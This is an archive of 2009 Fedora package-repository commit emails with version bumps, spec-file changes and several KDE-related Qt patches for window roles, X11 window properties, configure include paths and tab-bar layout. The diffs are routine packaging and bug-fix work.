In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17458/F-12

Modified Files:
	amarok.spec 
Log Message:
3rd time's a charm



Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/F-12/amarok.spec,v
retrieving revision 1.167
retrieving revision 1.168
diff -u -p -r1.167 -r1.168
--- amarok.spec	2 Oct 2009 13:26:05 -0000	1.167
+++ amarok.spec	2 Oct 2009 14:11:53 -0000	1.168
@@ -61,7 +61,7 @@ Amarok is a multimedia player with:
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
-%{?kdelibs4_version:Requires: kdelibs4%{?_isa} >= %{kdelibs4_version}}
+%{?kde4_version:Requires: kdelibs4%{?_isa} >= %{kde4_version}}
 %{?_qt4_version:Requires: qt4%{?_isa} >= %{_qt4_version}}
 %description libs
 %{summary}.



From rdieter at fedoraproject.org  Fri Oct  2 14:11:54 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 14:11:54 +0000 (UTC)
Subject: rpms/amarok/devel amarok.spec,1.168,1.169
Message-ID: <20091002141154.5FB6611C048B@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17458/devel

Modified Files:
	amarok.spec 
Log Message:
3rd time's a charm



Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/devel/amarok.spec,v
retrieving revision 1.168
retrieving revision 1.169
diff -u -p -r1.168 -r1.169
--- amarok.spec	2 Oct 2009 13:35:07 -0000	1.168
+++ amarok.spec	2 Oct 2009 14:11:54 -0000	1.169
@@ -61,7 +61,7 @@ Amarok is a multimedia player with:
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
-%{?kdelibs4_version:Requires: kdelibs4%{?_isa} >= %{kde4_version}}
+%{?kde4_version:Requires: kdelibs4%{?_isa} >= %{kde4_version}}
 %{?_qt4_version:Requires: qt4%{?_isa} >= %{_qt4_version}}
 %description libs
 %{summary}.



From jeckersb at fedoraproject.org  Fri Oct  2 14:14:27 2009
From: jeckersb at fedoraproject.org (John Eckersberg)
Date: Fri,  2 Oct 2009 14:14:27 +0000 (UTC)
Subject: rpms/libyaml/F-12 libyaml.spec,1.4,1.5 sources,1.2,1.3
Message-ID: <20091002141427.9EDA211C00C1@cvs1.fedora.phx.redhat.com>

Author: jeckersb

Update of /cvs/pkgs/rpms/libyaml/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18568

Modified Files:
	libyaml.spec sources 
Log Message:
New upstream release 0.1.3


Index: libyaml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libyaml/F-12/libyaml.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- libyaml.spec	25 Jul 2009 08:59:57 -0000	1.4
+++ libyaml.spec	2 Oct 2009 14:14:27 -0000	1.5
@@ -3,8 +3,8 @@
 #====================================================================#
 
 Name:       libyaml
-Version:    0.1.2
-Release:    5%{?dist}
+Version:    0.1.3
+Release:    1%{?dist}
 Summary:    YAML 1.1 parser and emitter written in C
 
 Group:      System Environment/Libraries
@@ -74,6 +74,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 02 2009 John Eckersberg <jeckersb at redhat.com> - 0.1.3-1
+- New upstream release 0.1.3
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libyaml/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	3 Mar 2009 00:37:51 -0000	1.2
+++ sources	2 Oct 2009 14:14:27 -0000	1.3
@@ -1 +1 @@
-f6c9b5c2b0f6919abd79f5fd059b01dc  yaml-0.1.2.tar.gz
+b8ab9064e8e0330423fe640de76608cd  yaml-0.1.3.tar.gz



From jeckersb at fedoraproject.org  Fri Oct  2 14:16:34 2009
From: jeckersb at fedoraproject.org (John Eckersberg)
Date: Fri,  2 Oct 2009 14:16:34 +0000 (UTC)
Subject: rpms/PyYAML/F-12 PyYAML.spec,1.9,1.10 sources,1.5,1.6
Message-ID: <20091002141634.55A1311C00C1@cvs1.fedora.phx.redhat.com>

Author: jeckersb

Update of /cvs/pkgs/rpms/PyYAML/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19308

Modified Files:
	PyYAML.spec sources 
Log Message:
New upstream release 3.09


Index: PyYAML.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PyYAML/F-12/PyYAML.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- PyYAML.spec	24 Jul 2009 16:05:06 -0000	1.9
+++ PyYAML.spec	2 Oct 2009 14:16:33 -0000	1.10
@@ -3,8 +3,8 @@
 #====================================================================#
 
 Name:           PyYAML
-Version:        3.08
-Release:        6%{?dist}
+Version:        3.09
+Release:        1%{?dist}
 Summary:        YAML parser and emitter for Python
 
 Group:          Development/Libraries
@@ -53,6 +53,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 02 2009 John Eckersberg <jeckersb at redhat.com> - 3.09-1
+- New upstream release 3.09
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.08-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/PyYAML/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	27 Feb 2009 02:19:28 -0000	1.5
+++ sources	2 Oct 2009 14:16:34 -0000	1.6
@@ -1 +1 @@
-a4163a2017fa57f448c66815511fa555  PyYAML-3.08.tar.gz
+f219af2361e87fdc5e85e95b84c11d87  PyYAML-3.09.tar.gz



From eseyman at fedoraproject.org  Fri Oct  2 14:20:11 2009
From: eseyman at fedoraproject.org (Emmanuel Seyman)
Date: Fri,  2 Oct 2009 14:20:11 +0000 (UTC)
Subject: rpms/perl-GnuPG-Interface/devel .cvsignore, 1.4,
	1.5 perl-GnuPG-Interface.spec, 1.11, 1.12 sources, 1.4, 1.5
Message-ID: <20091002142011.9139711C043C@cvs1.fedora.phx.redhat.com>

Author: eseyman

Update of /cvs/pkgs/rpms/perl-GnuPG-Interface/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20273

Modified Files:
	.cvsignore perl-GnuPG-Interface.spec sources 
Log Message:
Update to 0.42


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-GnuPG-Interface/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	21 May 2008 00:32:59 -0000	1.4
+++ .cvsignore	2 Oct 2009 14:20:09 -0000	1.5
@@ -1 +1 @@
-GnuPG-Interface-0.36.tar.gz
+GnuPG-Interface-0.42.tar.gz


Index: perl-GnuPG-Interface.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-GnuPG-Interface/devel/perl-GnuPG-Interface.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- perl-GnuPG-Interface.spec	26 Jul 2009 06:18:18 -0000	1.11
+++ perl-GnuPG-Interface.spec	2 Oct 2009 14:20:09 -0000	1.12
@@ -1,6 +1,6 @@
 Name:           perl-GnuPG-Interface
-Version:        0.36
-Release:	3%{?dist}
+Version:        0.42
+Release:        1%{?dist}
 Summary:        Perl interface to GnuPG
 Group:          Development/Libraries
 License:        GPLv2+ or Artistic
@@ -8,9 +8,9 @@ URL:            http://search.cpan.org/d
 Source0:        http://cpan.org/modules/by-module/GnuPG/GnuPG-Interface-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
-BuildRequires:  gpg, perl(Class::MethodMaker), perl(ExtUtils::MakeMaker)
+BuildRequires:  gpg, perl(Any::Moose), perl(ExtUtils::MakeMaker)
 Requires:  gpg, perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
-Requires:	perl(Class::MethodMaker)
+Requires:       perl(Any::Moose)
 
 
 %description
@@ -44,11 +44,14 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc ChangeLog README NEWS THANKS COPYING GPL Artistic
 %{perl_vendorlib}/GnuPG
-%{perl_vendorlib}/auto/GnuPG
 %{_mandir}/man3/*.3*
 
 
 %changelog
+* Fri Oct 02 2009 Emmanuel Seyman <emmanuel.seyman at club-internet.fr> - 0.42-1
+- Update to 0.42
+- Fix rpmlint errors
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.36-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
@@ -82,7 +85,7 @@ rm -rf $RPM_BUILD_ROOT
 - FC-3 doesn't use the patch1
 
 * Sun Sep 11 2005 Matt Domsch <matt at domsch.com> 0.33-3
-- use perldoc -t and %_smp_mflags
+- use perldoc -t and the _smp_mflags macro
 
 * Sun Aug 28 2005 Matt Domsch <matt at domsch.com> 0.33-2
 - add Requires: gpg, always apply secret-key-output-1.patch, as it works on


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-GnuPG-Interface/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	21 May 2008 00:32:59 -0000	1.4
+++ sources	2 Oct 2009 14:20:10 -0000	1.5
@@ -1 +1 @@
-6f097d3076b3311e8ef20ce3c2865c66  GnuPG-Interface-0.36.tar.gz
+c5cc5426c02b93900cb96f4879c9be28  GnuPG-Interface-0.42.tar.gz



From pknirsch at fedoraproject.org  Fri Oct  2 14:30:43 2009
From: pknirsch at fedoraproject.org (Phil Knirsch)
Date: Fri,  2 Oct 2009 14:30:43 +0000 (UTC)
Subject: rpms/system-config-httpd/devel .cvsignore, 1.12, 1.13 sources, 1.15,
	1.16 system-config-httpd.spec, 1.23, 1.24
Message-ID: <20091002143043.101C911C0419@cvs1.fedora.phx.redhat.com>

Author: pknirsch

Update of /cvs/pkgs/rpms/system-config-httpd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23442

Modified Files:
	.cvsignore sources system-config-httpd.spec 
Log Message:
- Lotsa language updates
- Several fixes from Radek Novacek for the S-c-tools cleanup project:
- Resolves: #493830,#493841,#493895,#508068



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-httpd/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	20 Jul 2007 15:54:54 -0000	1.12
+++ .cvsignore	2 Oct 2009 14:30:41 -0000	1.13
@@ -1 +1 @@
-system-config-httpd-1.4.4.tar.gz
+system-config-httpd-1.4.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-httpd/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	20 Jul 2007 15:54:54 -0000	1.15
+++ sources	2 Oct 2009 14:30:41 -0000	1.16
@@ -1 +1 @@
-9edf9af8299e080e019e6f34aeb5e6fb  system-config-httpd-1.4.4.tar.gz
+1ee2e5ea0fe4b287bbb1670ee8aec696  system-config-httpd-1.4.5.tar.gz


Index: system-config-httpd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-httpd/devel/system-config-httpd.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- system-config-httpd.spec	27 Jul 2009 05:22:52 -0000	1.23
+++ system-config-httpd.spec	2 Oct 2009 14:30:41 -0000	1.24
@@ -1,7 +1,7 @@
 Summary: Apache configuration tool
 Name: system-config-httpd
-Version: 1.4.4
-Release: 6%{?dist}
+Version: 1.4.5
+Release: 1%{?dist}
 Epoch: 5
 URL: http://www.redhat.com/
 Source0: system-config-httpd-%{version}.tar.gz
@@ -74,6 +74,11 @@ fi
 %dir /var/cache/alchemist/apache
 
 %changelog
+* Thu Oct 02 2009 Phil Knirsch <pknirsch at redhat.com> 1.4.5-1
+- Lotsa language updates
+- Several fixes from Radek Novacek for the S-c-tools cleanup project:
+- Resolves: #493830,#493841,#493895,#508068
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5:1.4.4-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rdieter at fedoraproject.org  Fri Oct  2 14:33:09 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 14:33:09 +0000 (UTC)
Subject: rpms/qt/devel kde-qt-patches.sh,NONE,1.1
Message-ID: <20091002143309.8B91811C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24181

Added Files:
	kde-qt-patches.sh 
Log Message:
first crack at script to extract patches from kde-qt git repo



--- NEW FILE kde-qt-patches.sh ---
# quick-n-dirty method to fetch patches from -patched git branch
# unfortunately, requires an already checked-out copy of the git repo

git format-patch --output-directory kde-qt-patches v4.5.3..4.5.3-patched



From rdieter at fedoraproject.org  Fri Oct  2 14:34:00 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 14:34:00 +0000 (UTC)
Subject: rpms/qt/devel
	0001-This-patch-uses-object-name-as-a-fallback-for-window.patch, NONE,
	1.1 0002-This-patch-makes-override-redirect-windows-popup-me.patch,
	NONE,
	1.1 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch,
	NONE,
	1.1 0004-This-patch-adds-support-for-using-isystem-to-allow.patch,
	NONE, 1.1 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch, 
	NONE,
	1.1 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch, 
	NONE,
	1.1 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch,
	NONE, 1.1 0008-In-a-treeview-with-columns-like-this.patch, NONE,
	1.1 0009-This-patch-fixes-deserialization-of-values-with-cust.patch, 
	NONE, 1.1 0010-Import-README.qt-copy-from-the-original-qt-copy.patch, 
	NONE,
	1.1 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch,
	NONE,
	1.1 0012-This-patch-makes-the-raster-graphics-system-use-shar.patch, 
	NONE,
	1.1 0013-Restore-a-section-of-the-file-that-got-removed-due-t.patch, 
	NONE, 1.1 0014-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch,
	NONE, 1.1 0015-Make-QMenu-respect-the-minimum-width-set.patch, NONE, 
	1.1 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch,
	NONE, 1.1 0017-Add-context-to-tr-calls-in-QShortcut.patch, NONE,
	1.1 0018-Fix-QNativeImage-constructor.patch, NONE, 1.1 qt.spec,
	1.334, 1.335 kde-qt-patches-20091002git.patch, 1.2,
	NONE qt-copy-patches-svn_checkout.sh, 1.6, NONE
Message-ID: <20091002143400.CBAEB11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24334

Modified Files:
	qt.spec 
Added Files:
	0001-This-patch-uses-object-name-as-a-fallback-for-window.patch 
	0002-This-patch-makes-override-redirect-windows-popup-me.patch 
	0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch 
	0004-This-patch-adds-support-for-using-isystem-to-allow.patch 
	0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch 
	0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch 
	0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch 
	0008-In-a-treeview-with-columns-like-this.patch 
	0009-This-patch-fixes-deserialization-of-values-with-cust.patch 
	0010-Import-README.qt-copy-from-the-original-qt-copy.patch 
	0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch 
	0012-This-patch-makes-the-raster-graphics-system-use-shar.patch 
	0013-Restore-a-section-of-the-file-that-got-removed-due-t.patch 
	0014-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch 
	0015-Make-QMenu-respect-the-minimum-width-set.patch 
	0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch 
	0017-Add-context-to-tr-calls-in-QShortcut.patch 
	0018-Fix-QNativeImage-constructor.patch 
Removed Files:
	kde-qt-patches-20091002git.patch 
	qt-copy-patches-svn_checkout.sh 
Log Message:
first pass at using individual kde-qt patches (since some don't apply or
seem to be upstreamed already)


0001-This-patch-uses-object-name-as-a-fallback-for-window.patch:
 corelib/kernel/qobject.cpp |    8 ++++++++
 corelib/kernel/qobject_p.h |    3 +++
 gui/kernel/qwidget_p.h     |    1 +
 gui/kernel/qwidget_x11.cpp |   28 +++++++++++++++++++++-------
 4 files changed, 33 insertions(+), 7 deletions(-)

--- NEW FILE 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch ---
>From b48e2091871516496cf0b133249fbf5326a55831 Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Sat, 23 Feb 2008 16:44:52 +0100
Subject: [PATCH 01/18] This patch uses object name as a fallback for window role if no window
 role is set explicitly using setWindowRole(). Since Qt3 always used
 the object name as the window role and most Qt3/KDE3 code is ported to
 call setObjectName(),

this makes the window role set in many cases (which KWin uses for window identifying).

NOTE: It is suggested to apply patch #0209 as well when this patch is used.

qt-bugs@ issue : 167704
Trolltech task ID : 168283 (status: "fixed" for Qt 4.4.0, but effectively refused)
---
 src/corelib/kernel/qobject.cpp |    8 ++++++++
 src/corelib/kernel/qobject_p.h |    3 +++
 src/gui/kernel/qwidget_p.h     |    1 +
 src/gui/kernel/qwidget_x11.cpp |   27 +++++++++++++++++++++------
 4 files changed, 33 insertions(+), 6 deletions(-)

diff --git a/src/corelib/kernel/qobject.cpp b/src/corelib/kernel/qobject.cpp
index 6487194..ef0369e 100644
--- a/src/corelib/kernel/qobject.cpp
+++ b/src/corelib/kernel/qobject.cpp
@@ -993,8 +993,16 @@ void QObject::setObjectName(const QString &name)
 {
     Q_D(QObject);
     d->objectName = name;
+#if defined(Q_WS_X11)
+    d->checkWindowRole();
+#endif
 }
 
+#if defined(Q_WS_X11)
+void QObjectPrivate::checkWindowRole()
+{
+}
+#endif
 
 #ifdef QT3_SUPPORT
 /*! \internal
diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
index 0bcccba..6ab9e10 100644
--- a/src/corelib/kernel/qobject_p.h
+++ b/src/corelib/kernel/qobject_p.h
@@ -144,6 +144,9 @@ public:
     mutable quint32 connectedSignals;
 
     QString objectName;
+#if defined(Q_WS_X11)
+    virtual void checkWindowRole();
+#endif
 
     // Note: you must hold the signalSlotLock() before accessing the lists below or calling the functions
     struct Connection
diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h
index 774e390..176d6fa 100644
--- a/src/gui/kernel/qwidget_p.h
+++ b/src/gui/kernel/qwidget_p.h
@@ -358,6 +358,7 @@ public:
 
 #if defined(Q_WS_X11)
     void setWindowRole();
+    virtual void checkWindowRole();
     void sendStartupMessage(const char *message) const;
     void setNetWmWindowTypes();
     void x11UpdateIsOpaque();
diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 79ee8c9..b56849c 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -778,13 +778,17 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         data.fstrut_dirty = 1;
 
         // declare the widget's window role
+        QByteArray windowRole;
         if (QTLWExtra *topData = maybeTopData()) {
-            if (!topData->role.isEmpty()) {
-                QByteArray windowRole = topData->role.toUtf8();
-                XChangeProperty(dpy, id,
-                                ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
-                                (unsigned char *)windowRole.constData(), windowRole.length());
-            }
+            if (!topData->role.isEmpty())
+                windowRole = topData->role.toUtf8();
+        }
+        if (windowRole.isEmpty()) // use object name as a fallback
+            windowRole = objectName.toUtf8();
+        if (!windowRole.isEmpty()) {
+            XChangeProperty(dpy, id,
+                            ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
+                            (unsigned char *)windowRole.constData(), windowRole.length());
         }
 
         // set client leader property
@@ -2768,6 +2772,17 @@ void QWidgetPrivate::setWindowRole()
                     (unsigned char *)windowRole.constData(), windowRole.length());
 }
 
+void QWidgetPrivate::checkWindowRole()
+{
+    Q_Q(QWidget);
+    if( !q->windowRole().isEmpty() || !q->internalWinId())
+        return;
+    QByteArray windowRole = objectName.toUtf8(); // use as a fallback
+    XChangeProperty(X11->display, q->internalWinId(),
+                    ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
+                    (unsigned char *)windowRole.constData(), windowRole.length());
+}
+
 Q_GLOBAL_STATIC(QX11PaintEngine, qt_widget_paintengine)
 QPaintEngine *QWidget::paintEngine() const
 {
-- 
1.6.2.5


0002-This-patch-makes-override-redirect-windows-popup-me.patch:
 qwidget_x11.cpp |   22 +++++++++++++++-------
 1 file changed, 15 insertions(+), 7 deletions(-)

--- NEW FILE 0002-This-patch-makes-override-redirect-windows-popup-me.patch ---
>From 339e220e29ff39b86705438b4be6f90e5618d27b Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Tue, 2 Oct 2007 16:08:32 +0200
Subject: [PATCH 02/18] This patch makes override-redirect windows (popup menu, dropdown menu,
 tooltip, combobox, etc.) also have more window properties like WM_CLASS,
 so they can be used when compositing.

qt-bugs@ issue : none
bugs.kde.org number : none
---
 src/gui/kernel/qwidget_x11.cpp |   21 +++++++++++++++------
 1 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 79ee8c9..a74a849 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -719,6 +719,11 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         Q_ASSERT(id);
         XChangeWindowAttributes(dpy, id, CWOverrideRedirect | CWSaveUnder,
                                 &wsa);
+        XClassHint class_hint;
+        QByteArray appName = qAppName().toLatin1();
+        class_hint.res_name = appName.data(); // application name
+        class_hint.res_class = const_cast<char *>(QX11Info::appClass());   // application class
+        XSetWMProperties(dpy, id, 0, 0, 0, 0, 0, 0, &class_hint);
     } else if (topLevel && !desktop) {        // top-level widget
         if (!X11->wm_client_leader)
             create_wm_client_leader();
@@ -769,13 +774,21 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         // set EWMH window types
         setNetWmWindowTypes();
 
+        // when we create a toplevel widget, the frame strut should be dirty
+        data.fstrut_dirty = 1;
+
+    } else {
+        // non-toplevel widgets don't have a frame, so no need to
+        // update the strut
+        data.fstrut_dirty = 0;
+    }
+
+    if (initializeWindow && (popup || (topLevel && !desktop))) { // properties set on all toplevel windows
         // set _NET_WM_PID
         long curr_pid = getpid();
         XChangeProperty(dpy, id, ATOM(_NET_WM_PID), XA_CARDINAL, 32, PropModeReplace,
                         (unsigned char *) &curr_pid, 1);
 
-        // when we create a toplevel widget, the frame strut should be dirty
-        data.fstrut_dirty = 1;
 
         // declare the widget's window role
         if (QTLWExtra *topData = maybeTopData()) {
@@ -791,10 +804,6 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         XChangeProperty(dpy, id, ATOM(WM_CLIENT_LEADER),
                         XA_WINDOW, 32, PropModeReplace,
                         (unsigned char *)&X11->wm_client_leader, 1);
-    } else {
-        // non-toplevel widgets don't have a frame, so no need to
-        // update the strut
-        data.fstrut_dirty = 0;
     }
 
     if (initializeWindow && q->internalWinId()) {
-- 
1.6.2.5


0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch:
 qobject_p.h |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch ---
>From 68eaa07de69e873b89d4aba341c6ed1ca81f6819 Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Wed, 30 Jan 2008 14:24:01 +0100
Subject: [PATCH 03/18] This patch changes QObjectPrivateVersion, thus preventing mixing
 parts of upstream Qt and qt-copy. In general it is a bad idea to mix
 e.g. libQtCore from one build and libQtGui from another one, and other
 qt-copy patches could make changes in Qt internal structures that could
 cause problems when mixed with upstream Qt.

This patch does not make qt-copy binary incompatible with upstream Qt.
It only further enforces using the same sources for the whole Qt build.

qt-bugs@ issue : none
Trolltech task ID : none
bugs.kde.org number : none
---
 src/corelib/kernel/qobject_p.h |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
index 0bcccba..88192fd 100644
--- a/src/corelib/kernel/qobject_p.h
+++ b/src/corelib/kernel/qobject_p.h
@@ -83,7 +83,9 @@ extern QSignalSpyCallbackSet Q_CORE_EXPORT qt_signal_spy_callback_set;
 
 inline QObjectData::~QObjectData() {}
 
-enum { QObjectPrivateVersion = QT_VERSION };
+// add 0x1000000 to mark it as qt-copy version, with possible modifications
+// in some Q*Private class
+enum { QObjectPrivateVersion = QT_VERSION + 0x1000000 };
 
 class Q_CORE_EXPORT QObjectPrivate : public QObjectData
 {
-- 
1.6.2.5


0004-This-patch-adds-support-for-using-isystem-to-allow.patch:
 configure |    9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

--- NEW FILE 0004-This-patch-adds-support-for-using-isystem-to-allow.patch ---
>From 86fc0d43cdcf3232ae0e4e6f4f28cf8f1a45ede5 Mon Sep 17 00:00:00 2001
From: Benjamin Reed <rangerrick at befunk.com>
Date: Tue, 19 Feb 2008 17:37:37 +0100
Subject: [PATCH 04/18] This patch adds support for using -isystem to allow putting an include
 directory at the end of the compiler's header search path.

I don't have the exact output anymore (I've since patched Qt's configure) but
essentially, since I have pcre.h in /opt/kde4-deps/include, it was
conflicting with Qt's (modified) pcre.h in the WebKit bits, since
-I /opt/kde4-deps/include ends up in CXXFLAGS in the generated makefiles, it
comes *before* the specific locations in INCPATH on the compile line, and you
end up with a conflict with the system-installed pcre.h.

Presumably, if your pcre.h is in /usr/include as on most Linux systems, you
wouldn't notice this issue since /usr/include's already in your include path
and people likely don't pass -I /usr/include to configure.  I suspect that on
any platform with a regular, system-installed pcre.h (or clucene headers),
adding -I /usr/include would exhibit this bug, just as a custom-installed
pcre/clucene in another root would.

qt-bugs@ issue : 199610
Trolltech task ID :
bugs.kde.org number :
---
 configure |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/configure b/configure
index 2c108ad..610a201 100755
--- a/configure
+++ b/configure
@@ -927,6 +927,11 @@ while [ "$#" -gt 0 ]; do
             VAL=`echo $1 | sed 's,-D,,'`
         fi
         ;;
+    -isystem)
+        VAR="add_isystempath"
+        shift
+        VAL="$1"
+        ;;
     -I?*|-I)
         VAR="add_ipath"
         if [ "$1" = "-I" ]; then
@@ -1890,6 +1895,9 @@ while [ "$#" -gt 0 ]; do
     add_ipath)
         I_FLAGS="$I_FLAGS -I\"${VAL}\""
         ;;
+    add_isystempath)
+        I_FLAGS="$I_FLAGS -isystem \"${VAL}\""
+        ;;
     add_lpath)
         L_FLAGS="$L_FLAGS -L\"${VAL}\""
         ;;
-- 
1.6.2.5


0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch:
 qtabbar.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch ---
>From 733d1afd03908d695aa8a6518f453b9ff0e5b8a2 Mon Sep 17 00:00:00 2001
From: Robert Knight <robertknight at gmail.com>
Date: Sun, 20 Apr 2008 16:28:31 +0200
Subject: [PATCH 05/18] When tabs are inserted or removed in a QTabBar,
 QTabBarPrivate::refresh() is called to update the layout.  If the
 tabbar widget is hidden, this just sets a boolean variable
 (layoutDirty) and returns, so the parent widget's layout is not
 notified about the possible geometry change.

Prior to Qt 4.4 this was not a problem because the geometry was
recalculated in QTabBar::sizeHint() if the layoutDirty variable was
set.  In Qt 4.4 however the layout caches size hint information in
QWidgetItemV2.  Since the cache information is not invalidated, the
layout may end up using out-of-date size hint information to compute
the widget size.

If the QTabBar is empty when QTabBar::sizeHint() is called, it will
return a size with a height of 0, which will be kept in the cache and
so the tab bar will never be shown.

This patch fixes the problem by calling updateGeometry() whenever the
tab bar's layout is refreshed.

qt-bugs@ issue : 208185
Trolltech task ID : 208349
bugs.kde.org number : 159014
---
 src/gui/widgets/qtabbar.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/widgets/qtabbar.cpp b/src/gui/widgets/qtabbar.cpp
index 419d456..41107a0 100644
--- a/src/gui/widgets/qtabbar.cpp
+++ b/src/gui/widgets/qtabbar.cpp
@@ -678,8 +678,8 @@ void QTabBarPrivate::refresh()
         layoutTabs();
         makeVisible(currentIndex);
         q->update();
-        q->updateGeometry();
     }
+    q->updateGeometry();
 }
 
 /*!
-- 
1.6.2.5


